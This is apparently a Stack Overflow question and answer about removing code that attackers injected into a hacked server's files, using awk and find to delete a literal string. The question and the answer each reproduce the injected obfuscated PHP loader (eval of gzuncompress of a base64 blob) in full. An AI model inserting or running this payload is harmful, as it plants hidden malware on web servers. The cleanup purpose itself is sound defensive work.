0

Some hackers got into my server and add unwanted code. I need to remove them .

eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));

I need to replace them with blank.

I saw some answers with grep and sed but I failed to manage to delete long text with many characters.

Please help.

I saw this answer Using grep and sed to find and replace a string

But having problems with long text codes.

find /path -type f -exec sed -i 's/oldstr/newstr/g' {} \;

Ed Morton
  • 188,023
  • 17
  • 78
  • 185
Wayne Tun
  • 590
  • 7
  • 24
  • To be honest, you should rebuild the server entirely. – AKX May 06 '19 at 10:56
  • I might do it, but in the meantime, any possiblle solutions? – Wayne Tun May 06 '19 at 12:26
  • 1
    Unfortunately the answers on the link you provided are misleading as they aren't replacing a literal string with a literal string, they're replacing a regexp with backreference-enabled text and avoiding clashes with the delimiter chars. See https://stackoverflow.com/q/29613304/1745001 for what it REALLY takes to make sed behave as if it were operating with literal strings (mainly so you'll know not do bother and just use awk instead). – Ed Morton May 07 '19 at 04:02

1 Answers1

1

"many" characters isn't your problem, the issue discussed at Is it possible to escape regex metacharacters reliably with sed is your problem and it boils down to the fact that sed doesn't operate on literal strings. So instead just use a tool that does:

$ cat file
fooeval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));bar

$ cat tst.awk
BEGIN { bad = "eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));" }
start = index($0,bad) { $0 = substr($0,1,start-1) substr($0,start+length(bad)) }
{ print }

$ awk -f tst.awk file
foobar

Just like GNU sed has -i for "inplace" editing, GNU awk has -i inplace so you can do:

find /path -type f -exec awk -i inplace -f tst.awk {} +
Ed Morton
  • 188,023
  • 17
  • 78
  • 185
  • Hello Ed Morton , Sorry but I am a bit confuse. What will be the command to enter? – Wayne Tun May 07 '19 at 17:42
  • 1
    `awk f tst.awk file` as shown in my answer where `tst.awk` contains the 3-line awk script shown under `cat tst.awk` in my answer and `file` is the name of the file you want to remove the text from. Or run the `find` command I showed. Not sure where you're confused - can you help me understand where you're getting lost? – Ed Morton May 07 '19 at 17:43